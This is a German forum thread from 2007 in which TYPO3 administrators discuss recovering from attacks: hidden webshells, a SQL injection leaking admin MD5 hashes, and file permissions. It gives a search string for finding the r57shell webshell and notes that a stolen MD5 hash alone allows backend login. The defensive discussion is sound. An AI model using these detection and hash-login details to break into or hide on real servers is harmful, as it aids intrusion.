### [#50](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/50) · Twinstar · 2007-07-10

> **jweiland schrieb:**
>
> In den meisten Fällen wurden auf den betroffenen Systemen mehrere Webshells installiert (und teilweise sehr gut getarnt).

Gibt es öffentliche Informationen darüber welche Webshells das waren und wie man sie finden kann?

### [#51](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/51) · Twinstar · 2007-07-10

> **hepi schrieb:**
>
> > **Twinstar schrieb:**
> >
> > Wie sollte man eigentlich vorgehen um seine Server wieder vor diesem Problem zu sichern?
>
> Aber die beste Vorgehensweise ist, selbst nach Ungewöhnlichem zu suchen. Du bist hier halt Dein eigener "Privatdetektiv".

Verstehe. Dann schnüffel ich mal weiter im Dateienwald.  ;)

### [#52](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/52) · hepi · 2007-07-10

> **Twinstar schrieb:**
>
> Gibt es öffentliche Informationen darüber welche Webshells das waren und wie man sie finden kann?

Ekki nennt in seinem Blog zwei Web Shells beim Namen - und auch einen speziellen User Agent String. Ekki serviert alles auf dem goldenen Tablett.

Gruß
Henning Pingel

### [#53](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/53) · Twinstar · 2007-07-10

> **hepi schrieb:**
>
> > **Twinstar schrieb:**
> >
> > Gibt es öffentliche Informationen darüber welche Webshells das waren und wie man sie finden kann?
>
> Ekki nennt in seinem Blog zwei Web Shells beim Namen - und auch einen speziellen User Agent String. Ekki serviert alles auf dem goldenen Tablett.
>
> Gruß
> Henning Pingel

Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.

### [#54](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/54) · hepi · 2007-07-10

> **Twinstar schrieb:**
>
> Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.

Für die Suche nach einer r57shell im Dateisystem bietet sich beispielsweise folgender Suchstring an:

"Use reverse (user -> resu) login for password"

Das ist aber auch nur ein Tipp, der WAHRSCHEINLICH hilft, mehr nicht. Wenn Hacker merken, dass alle nach einem bestimmten String suchen, werden sie irgendwann diesen String aus Ihren Scripts löschen.

Gruß
Henning Pingel

### [#55](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/55) · Twinstar · 2007-07-10

> **hepi schrieb:**
>
> > **Twinstar schrieb:**
> >
> > Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.
>
> Wenn Hacker merken, dass alle nach einem bestimmten String suchen, werden sie irgendwann diesen String aus Ihren Scripts löschen.
>
> Gruß
> Henning Pingel

Bin dankbar für jeden Ansatz mit dem man weiter arbeiten kann.

### [#56](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/56) · Twinstar · 2007-07-10

> **hepi schrieb:**
>
> > **Twinstar schrieb:**
> >
> > Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.
>
> Für die Suche nach einer r57shell im Dateisystem bietet sich beispielsweise folgender Suchstring an:
>
> "Use reverse (user -> resu) login for password"
>
> Das ist aber auch nur ein Tipp, der WAHRSCHEINLICH hilft, mehr nicht. Wenn Hacker merken, dass alle nach einem bestimmten String suchen, werden sie irgendwann diesen String aus Ihren Scripts löschen.
>
> Gruß
> Henning Pingel

Aber ein guter Tipp. Den den Schnipsel habe ich gerade in einem Gästebuch entdeckt. Bloss gut ...  o.O

### [#57](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/57) · hepi · 2007-07-10

> **Twinstar schrieb:**
>
> Aber ein guter Tipp. Den den Schnipsel habe ich gerade in einem Gästebuch entdeckt. Bloss gut ...  o.O

Hi, sei bitte vorsichtig, was Du hier öffentlich postest. Wenn jemand anders gehackt worden ist, wird er jetzt wissen wollen: Was für ein Gästebuch ist gemeint? Ist das Gästebuch Schuld? Hat es eine Sicherheitslücke?

Aber hier ist das Problem: Das Gästebuch ist möglicherweise REIN GAR NICHT Schuld, sondern ein böser Hacker hat in dem Verzeichnis willkürlich sein Ei abgelegt, um es zu verstecken.

Deshalb ganz wichtig, ich kann mich nur wiederholen: Neue Erkenntnisse bitte an das TYPO3 Security Team melden.

Gruß
Henning Pingel

### [#58](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/58) · jan.​radecker · 2007-07-11

> **Twinstar schrieb:**
>
> Mich würde auch interessieren wie man es schafft MD5 verschlüsselte Passörter zu knacken. Mit BruteForce sollten PW mit dem Format z.B. x4GH9nm! nicht so einfach zu hacken sein.

Das stimmt, ich dachte auch zuerst, man muesste das Passwort knacken, aber dem ist nicht so. Die MD5-Darstellung reicht. Mit dem MD5-Kennwort ausgeruestet kann man mittels POST-Datenmanipulation das TYPO3-Backend ueber das "normale" Login erreichen. Ich will hier nur keine detaillierte Anleitung geben, wie das funktioniert. Ist auch fuer den Sachverhalt, der hier geklaert werden soll nicht weiter wichtig. Wichtig ist nur zu wissen, dass das KEINE Sicherheitluecke in der TYPO3-Anmeldung ist.
Man muss sich einfach nur vor Augen halten, dass das MD5-Kennwort genauso wertvoll und schuetzenswert ist, wie ein Klartextpasswort. Der einzige Unterschied ist halt, dass man vom MD5-Hash nicht direkt auf den Klartext zurueckgreifen kann. Aber wer das MD5-Kennwort hat, kommt rein.

> **Twinstar schrieb:**
>
> Also wenn ich die Aussage von Jan Radecker:
>
> ```typoscript
> Die SQL-Injection-Schwachstelle ermöglichte es per Brute-Force und ein wenig SQL-Magie z.B. aus der Tabelle be_users einen Admin-User samt MD5-Passwort auszulesen.
> ```
>
> richtig interpretiere. Hat der Angreifer "nur" den Admin Benutzernamen und den MD5 Hash des Passwortes ausgelesen und nicht das Passwort mittels Bruteforce geknackt. Oder?! In dem Fall kann der Angreifer bei Schliessen der macina_banners Lücke mit seinen Daten ja nichts mehr anfangen.  #paralyzed#

Nein, das Passwort, das der Angreifer ausgelesen hat, wird ja nicht ungueltig, nur weil macina_banners jetzt das erneute Auslesen des Passworts verhindert. Also ist es unabdingbar ALLE Backend-Kennwoerter neu zu setzen.

### [#59](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/59) · Twinstar · 2007-07-11

Ich habe mal eine Frage bzgl. der Verzeichnissrechte von über das T3-Backend (Ext. Manager) installierten Module. Wenn diese installiert werden stehen die Rechte für die Verzeichnisse immer auf 755 wwwrun www. Dateien innerhalb der Ext. Verzeichnisse stehen auf 644 wwwrun www. Bedeutet das nicht automatisch, daß jeder der eine Webshell installieren kann in diese Verzeichnisse und Dateien lesen und schreiben kann wie er lustig ist? Bzw. jeder der in das Typo3 Admin Backend kommt?
Kann man sich hiervor eigentlich schützen?

Denn wenn ich die Rechte ändere in z.B. 644 EigentümerXY GruppeXY, kann man aus dem Ext. Manager nichts mehr deinstallieren bzw. löschen noch was neu installieren.

Der Witz dabei ist ja auch, daß selbst Monate alte Backups nicht mehr bringen. Denn da sind ja "WAHRSCHEINLICH" die Sicherheitslöcher wieder inklusive.

### [#60](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/60) · hepi · 2007-07-11

> **Twinstar schrieb:**
>
> Ich habe mal eine Frage bzgl. der Verzeichnissrechte von über das T3-Backend (Ext. Manager) installierten Module. Wenn diese installiert werden stehen die Rechte für die Verzeichnisse immer auf 755 wwwrun www. Dateien innerhalb der Ext. Verzeichnisse stehen auf 644 wwwrun www. Bedeutet das nicht automatisch, daß jeder der eine Webshell installieren kann in diese Verzeichnisse und Dateien lesen und schreiben kann wie er lustig ist? Bzw. jeder der in das Typo3 Admin Backend kommt?

Genau. Das erleichtert die Arbeit des Hackers: Überall, wo man schreiben kann, kann versteckt werden.

> **Twinstar schrieb:**
>
> Kann man sich hiervor eigentlich schützen?

Ja. Aber meiner Kenntnis nach nur durch manuelle Änderung der Benutzerrechte.

> **Twinstar schrieb:**
>
> Denn wenn ich die Rechte ändere in z.B. 644 EigentümerXY GruppeXY, kann man aus dem Ext. Manager nichts mehr deinstallieren bzw. löschen noch was neu installieren.

Ja, richtig, aber in Deinem Fall ist wohl ein unkomfortables TYPO3 mit beschnittenem Extension Manager besser als ein gehacktes TYPO3 mit wochenlangem Katz und Maus-Spiel mit dem Hacker.

Gruß
Henning Pingel

### [#61](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/61) · Twinstar · 2007-07-11

> **hepi schrieb:**
>
> Ja, richtig, aber in Deinem Fall ist wohl ein unkomfortables TYPO3 mit beschnittenem Extension Manager besser als ein gehacktes TYPO3 mit wochenlangem Katz und Maus-Spiel mit dem Hacker.
>
> Gruß
> Henning Pingel

Aha, gut. Damit kann ich was anfangen. Die Rechte manuell so zu ändern, daß man zum Ext. managen SSH braucht ist ja kein großer Akt. Mich wundert nur iregendwie, daß dieser Aspekt bisher so wenig in Typo3 Sicherheitsdiskussion kommuniziert ist.

Denn wenn das so ein elementar wichtiger Punkt ist, sollten das doch auch am besten alle so machen, oder?!

Wenn man mal betrachtet, was man für Typo3 benötigt, SAFE_MODE OFF, 777 und www wwwrun für viele Verzeichnisse, dann stellt sich mir die Frage an welcher Stelle kann man denn überhaupt für Sicherheit sorgen? Wo und wann eine SQL-Injection auftaucht kann kein "normaler" Typo3 Admin vorher wissen. Und wenn ein Hacker erstmal sowas gefunden hat und dann auch noch so tolle Schreibrechte vorfindet dann habe ich das Gefühl, daß man garnichts machen kann.

### [#62](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/62) · hepi · 2007-07-11

> **Twinstar schrieb:**
>
> > **hepi schrieb:**
> >
> > Ja, richtig, aber in Deinem Fall ist wohl ein unkomfortables TYPO3 mit beschnittenem Extension Manager besser als ein gehacktes TYPO3 mit wochenlangem Katz und Maus-Spiel mit dem Hacker.
> >
> > Gruß
> > Henning Pingel
>
> Aha, gut. Damit kann ich was anfangen. Die Rechte manuell so zu ändern, daß man zum Ext. managen SSH braucht ist ja kein großer Akt. Mich wundert nur iregendwie, daß dieser Aspekt bisher so wenig in Typo3 Sicherheitsdiskussion kommuniziert ist.
>
> Denn wenn das so ein elementar wichtiger Punkt ist, sollten das doch auch am besten alle so machen, oder?!

Es gibt das Security Cookbook des TYPO3 Security Teams und andere Versuche des Teams, TYPO3-Administratoren für das Thema Security zu sensibilisieren. Die Adminstratoren selbst müssen sich aber natürlich auch Gedanken zum Thema Security machen, am besten natürlich, bevor eingebrochen wird. TYPO3 war und ist immer ein Projekt, das mit Hilfe von Ideen und Initiativen aus der Community verbessert worden ist.

Viele Web-Applikationen brauchen Berechtigung zum Schreiben von Dateien im Webspace. TYPO3 könnte so, wie es ist, nicht existieren, ohne Schreibberechtigung in manchen Foldern. Redakteure könnten dann keine Bilder hochladen. Aber Du könntest als Admin halt überprüfen, was sich im Laufe der Zeit in den beschreibbaren Verzeichnissen ändert.

Übrigens: Wenn der Hacker Dein SSH-Passwort kennt, ist natürlich auch die Änderung der Benutzerrechte zwecklos.

Gruß
Henning Pingel

### [#63](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/63) · Twinstar · 2007-07-11

> **hepi schrieb:**
>
> Es gibt das Security Cookbook des TYPO3 Security Teams und andere Versuche des Teams, TYPO3-Administratoren für das Thema Security zu sensibilisieren. Die Adminstratoren selbst müssen sich aber natürlich auch Gedanken zum Thema Security machen, am besten natürlich, bevor eingebrochen wird. TYPO3 war und ist immer ein Projekt, das mit Hilfe von Ideen und Initiativen aus der Community verbessert worden ist.
>
> Gruß
> Henning Pingel

In der T3N Ausgabe 2.06 wird eine Checkliste zur Typo3 Umgebungs Konfiguration beschrieben. Ein Punkt ist safe_mode=On zu setzen. Jeder weiß, daß Typo3 damit nicht sehr weit kommt. Was ist davon zu halten?

### [#64](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/64) · hepi · 2007-07-11

> **Twinstar schrieb:**
>
> In der T3N Ausgabe 2.06 wird eine Checkliste zur Typo3 Umgebungs Konfiguration beschrieben. Ein Punkt ist safe_mode=On zu setzen. Jeder weiß, daß Typo3 damit nicht sehr weit kommt. Was ist davon zu halten?

Im TYPO3 Security Cookbook (0.0.5), verlinkt auf <http://typo3.org/teams/security>, steht unter anderem : "use safemode, or at least open basedir to prevent webs from accessing other directories or execute things, they mustn't – again: less is more."

Mehr werde ich zu der Frage nicht sagen, weil ich momentan keine gute Anwort geben kann und weil ich denke, dass das eben auch zur Verantwortung von Admins gehört, sich diese Frage selbst zu beantworten.

Das soll nicht arrogant klingen, ich will nur auf folgendes hinaus: Du hast da einen Server stehen und installierst einfach eines der besten freien WCMS, das Dich nichts kostet und darüber hinaus auch noch genial im Funktionsumfang ist. Nun musst Du Dich irgendwann auch mal fragen: Was macht diese Software eigentlich, die ich da benutze? Wie funktioniert das genau? Wo funktioniert es nicht? Wie kann ich die Software gegen Angriffe schützen?

Gruß
Henning Pingel

### [#65](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/65) · Twinstar · 2007-07-11

> **hepi schrieb:**
>
> Wie kann ich die Software gegen Angriffe schützen?
> Gruß
> Henning Pingel

Du hast vollkommen Recht. Will jetzt auch garnicht mehr weiter öffetnlich auf diesem Thema rumreiten. Nervt ja auch irgendwann. Berate mich mal lieber mit Leuten aus meinem IT Dunstkreis. Trotzdem vielen Dank für die vielen nützlichen Informationen.

### [#66](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/66) · InforMedic · 2007-09-05

> **Twinstar schrieb:**
>
> In der T3N Ausgabe 2.06 wird eine Checkliste zur Typo3 Umgebungs Konfiguration beschrieben. Ein Punkt ist safe_mode=On zu setzen. Jeder weiß, daß Typo3 damit nicht sehr weit kommt. Was ist davon zu halten?

Das ist doch Schwachsinn oder?
Also ich weiss, dass wenn einer dann ich, bzw. der dummy vor dem PC und nicht typo3 der jenige ist, der vielleicht mit der Einstellung safe_mode = On nicht sehr weit kommt (bzw. kam) - mittlerweile betrifft mich das zumindest persönlich nicht mehr, da mein Server wunderbar mit safe_mode = On läuft!

Ich könnte mir einen public Server mit Safe_Mode Off nicht einmal vorstellen  #giggle#

Grüße
Info

P.S.: Super Antworten & Fragen hier in diesem Post!!!! Hat mir einige nützliche Infos gegeben!!!!

---

Quelle: „Wiederholte Attacken auf Typo3-Seite“, typo3.net, https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite
Beiträge von Mitgliedern des Forums. Bitte mit Link auf die Diskussion zitieren.
